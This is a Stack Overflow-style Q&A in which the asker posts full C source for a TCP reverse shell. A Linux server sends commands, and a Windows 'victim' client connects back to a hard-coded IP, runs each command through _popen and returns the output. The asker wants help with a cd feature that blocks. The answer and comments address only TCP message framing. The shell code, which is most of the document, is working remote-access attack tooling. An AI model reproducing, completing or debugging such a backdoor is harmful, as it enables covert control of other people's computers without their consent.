0

I'm going to make small tcp reverse shell with c programming language. The Server give you a command line to send your command to the client.

E.X: ./Server 192.168.1.100 2321

Waiting for new connection...  
New connection was accepted from (192.168.1.8, 51958)  

[+] Shell@[192.168.1.8]~$: dir  

 Volume in drive C has no label.  
 Volume Serial Number is 9C07-7137

 Directory of C:\Users\Test\Desktop\Project4\Project4

04/20/2020  08:17 PM    <DIR>          .  
04/20/2020  08:17 PM    <DIR>          ..  
04/18/2020  06:27 PM    <DIR>          Debug  
04/18/2020  06:25 PM             5,761 Project4.vcxproj  
04/18/2020  06:25 PM               956 Project4.vcxproj.filters  
04/20/2020  08:17 PM             3,698 Source.c  
               3 File(s)         10,415 bytes  
               3 Dir(s)  61,965,709,312 bytes free  

[+] Shell@[192.168.1.8]~$:

I want to define the ability to change the path between the victim directories for the server and i used _chdir() function. Like 'cd Downloads

The function works well, but is blocked when sending the server's response in receiving mode until the victim's connection to the server is disconnected.

Server: (Coded on linux ubuntu / compiled with gcc / Run on linux)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>

// Global variables
int Main_socket, Cli_socket;
struct sockaddr_in ServAddr, CliAddr;

void Socket_creation();
void Socket_bind(char [], int);
void Socket_listen();
void Socket_accept();
void Shell();

int main(int argc, char * argv[])
{
    if (argc < 3)
    {
        printf("Usage:\n\t./Server.out [IP-address] [Port-number]\n");
        printf("Example:\n\t./Server.out 192.168.1.100 2321\n");
        exit(0);
    }

    system("clear");

    Socket_creation();
    Socket_bind(argv[1], atoi(argv[2]));
    Socket_listen();
    Socket_accept();

    return 0;
}

void Socket_creation()
{
    int True = 1;

    if ((Main_socket = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
        fprintf(stderr, "Socket creation was failed! (CODE: %d)\n\t%s\n\n", errno, strerror(errno));
        exit(0);
    }

    if (setsockopt(Main_socket, SOL_SOCKET, SO_REUSEADDR, &True, sizeof(int)) == -1)
    {
        fprintf(stderr, "Setting TCP socket options failed! (CODE: %d)\n\t%s\n\n", errno, strerror(errno));
        exit(0);
    }
}

void Socket_bind(char IP_address[], int Port_number)
{
    // Configuration
    memset(&ServAddr, 0, sizeof(ServAddr));
    ServAddr.sin_family = AF_INET;
    ServAddr.sin_addr.s_addr = inet_addr(IP_address);
    ServAddr.sin_port = htons(Port_number);

    if (bind(Main_socket, (struct sockaddr *) &ServAddr, sizeof(ServAddr)) == -1)
    {
        fprintf(stderr, "Socket bind failed! (CODE: %d)\n\t%s\n\n", errno, strerror(errno));
        exit(0);
    }
}

void Socket_listen()
{
    if (listen(Main_socket, 5) == -1)
    {
        fprintf(stderr, "Socket listen failed! (CODE: %d)\n\t%s\n\n", errno, strerror(errno));
        exit(0);
    }
}

void Socket_accept()
{
    memset(&CliAddr, 0, sizeof(CliAddr));
    socklen_t CliAddrSize = sizeof(CliAddr);

    printf("Waiting for new connection...\n");
    if ((Cli_socket = accept(Main_socket, (struct sockaddr *) &CliAddr, &CliAddrSize)) == -1)
    {
        fprintf(stderr, "Could not accept any connection (CODE: %d)\n\t%s\n\n", errno, strerror(errno));
        exit(0);
    }
    else
    {
        printf("New connection was accepted from (%s, %d)\n\n", inet_ntoa(CliAddr.sin_addr), ntohs(CliAddr.sin_port));
        Shell();
    }
}

void Shell()
{
    char Buffer[1024], Response[18384];

    while (1)
    {
        memset(&Buffer, 0, sizeof(Buffer));
        memset(&Response, 0, sizeof(Response));

        printf("[+] Shell@[%s]~$: ", inet_ntoa(CliAddr.sin_addr));
        fgets(Buffer, sizeof(Buffer) - 1, stdin);
        strtok(Buffer, "\n");
        //write(Cli_socket, Buffer, sizeof(Buffer));
        send(Cli_socket, &Buffer, strlen(Buffer), 0);

        if (strncmp("quit", Buffer, 4) == 0)
            break;
        else
            {
                recv(Cli_socket, Response, sizeof(Response), MSG_WAITALL);
                printf("%s\n", Response);
            }
    }
}

Client: (Coded on windows 10 / Compiled with Visual studio 17 compiler/ Run on windows)

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <conio.h>
#include <errno.h>
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <WS2tcpip.h>

// In tutorial

#include <direct.h>
#include <limits.h>
#include <Windows.h>
#include <WinUser.h>
#include <WinInet.h>
#include <windowsx.h>
#include <sys/stat.h>

#include <WinSock2.h>

#pragma comment(lib, "ws2_32.lib");

#define TRUE 1

char * Str_cutter(char [], int, int);

int main()
{
    WSADATA WSAData;
    if (WSAStartup(MAKEWORD(2, 2), &WSAData) != 0)
    {
        fprintf(stderr, "Could not initialize winsock (CODE: %d)\n", WSAGetLastError());
        exit(0);
    }
    else
        printf("Winsock initialied.\n");

    SOCKET Main_socket;
    if ((Main_socket = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
    {
        fprintf(stderr, "Socket creation failed! (CODE: %d)\n", WSAGetLastError());
        WSACleanup();
        exit(0);
    }
    else
        printf("Socket created.\n");

    struct sockaddr_in CliAddr;
    memset(&CliAddr, 0, sizeof(CliAddr));

    CliAddr.sin_family = AF_INET;
    CliAddr.sin_addr.s_addr = inet_addr("192.168.1.11");
    CliAddr.sin_port = htons(2321);

    if (connect(Main_socket, (struct sockaddr_in *) &CliAddr, sizeof(CliAddr)) != 0)
    {
        fprintf(stderr, "Could not connect to the server! (CODE: %d)\n", WSAGetLastError());
        closesocket(Main_socket);
        WSACleanup();
        exit(0);
    }
    else
        printf("Connected\n");

    //====================================================================

    char Buffer[1024], Container[1024], Total_resp[18384], Path[_MAX_PATH];
    int s;

    while (TRUE)
    {
        memset(&Buffer, 0, sizeof(Buffer));
        memset(&Container, 0, sizeof(Container));
        memset(&Total_resp, 0, sizeof(Total_resp));

        s = recv(Main_socket, Buffer, 1024, 0);
        printf("%s\n", Buffer);

        if (strncmp("quit", Buffer, 4) == 0)
        {
            closesocket(Main_socket);
            WSACleanup();
            exit(0);
        }
        else if (strncmp("cd ", Buffer, 3) == 0)
        {
            if (_chdir(Str_cutter(Buffer, 3, _MAX_DIR)))
            {
                switch (errno)
                {
                case ENOENT:
                    printf("Unable to locate directory: %s\n", Buffer);
                    break;
                case EINVAL:
                    printf("Invalid buffer.\n");
                    break;
                default:
                    printf("%s\n", strerror(errno));
                }
            }
            else
            {
                _getcwd(Path, sizeof(Path));
                printf("%s\n", Path);
                if (send(Main_socket, Path, sizeof(Path), 0) == -1)
                {
                    printf("%s\n", strerror(errno));
                }
                else
                {
                    printf("DONE\n");
                }
            }
        }
        else
        {
            FILE *fp;
            // Creates a pip and executes a command (_popen)
            fp = _popen(Buffer, "r");
            while (fgets(Container, 1024, fp) != NULL)
            {
                strcat(Total_resp, Container);
            }
            send(Main_socket, Total_resp, sizeof(Total_resp), 0);
            fclose(fp);
        }
    }

    _getch();
    return 0;
}

/*
    cd downloads
    Str_cutter(str, 3, 100)
    3: cd + space
    100: directory name
*/
char * Str_cutter(char str[], int slice_from, int slice_to)
{
    if (str[0] == '\0')
        return NULL;

    char * buffer;
    size_t str_len, Buffer_len;

    if (slice_to < 0 && slice_from > slice_to)
    {
        str_len = strlen(str);
        if (abs(slice_to) > str_len - 1)
            return NULL;
        if (abs(slice_from) > str_len)
            slice_from = (-1) * str_len;

        Buffer_len = slice_to - slice_from;
        str += (str_len + slice_from);
    }
    else if (slice_from >= 0 && slice_to > slice_from)
    {
        str_len = strlen(str);
        if (slice_from > str_len - 1)
            return NULL;
        Buffer_len = slice_to - slice_from;
        str += slice_from;
    }
    else
        return NULL;

    buffer = calloc(Buffer_len, sizeof(char));
    strncpy(buffer, str, Buffer_len);

    return buffer;
}
John Kugelman
  • 349,597
  • 67
  • 533
  • 578
HiDD3N
  • 29
  • 2
  • 7

1 Answers1

1

You forgot to implement a protocol. By chopping the \n off the line, there is no way for the client to know whether or not it has received the entire line. And there is no code in your client to receive a line.

If you need to use TCP to send and receive messages, you must specify and implement a message protocol. TCP is not a message protocol, it's a stream protocol. You then have to implement functions to send and receive messages.

It's perfectly fine to specify a message as "a series of bytes not including a newline that is terminated by a newline character". But then you must send the newline character and your receiving code has to keep calling recv until it receives the newline character.

Otherwise, the input could be "cd foo\n", you send "cd foo", and the first call to recv gets "cd f". You don't call recv again, so you wouldn't get the "oo" until it's too late.

David Schwartz
  • 179,497
  • 17
  • 214
  • 278
  • 1
    Change the sending code to send the newline. Change the receiving code to keep calling `recv` until it receives the newline. – David Schwartz Apr 20 '20 at 17:36
  • When I changed this line: recv(Cli_socket, Response, sizeof(Response), MSG_WAITALL); to this recv(Cli_socket, Response, sizeof(Response), 0); the answer was received, but the order of the answers was messed up – HiDD3N Apr 21 '20 at 14:13
  • @HiDD3N Again, you really do have to implement a message protocol. – David Schwartz Apr 21 '20 at 17:17
  • I could not fix it, there is any way to fix that code? – HiDD3N Apr 23 '20 at 14:56
  • You can modify the sending code to send the newline? Can you modify the receiving code to keep calling `recv` until it receives the newline? – David Schwartz Apr 23 '20 at 18:07
  • Yes, i can remove this line in sending code for send newline: strtok(Buffer, "\n"); but the problem not solved – HiDD3N Apr 30 '20 at 17:26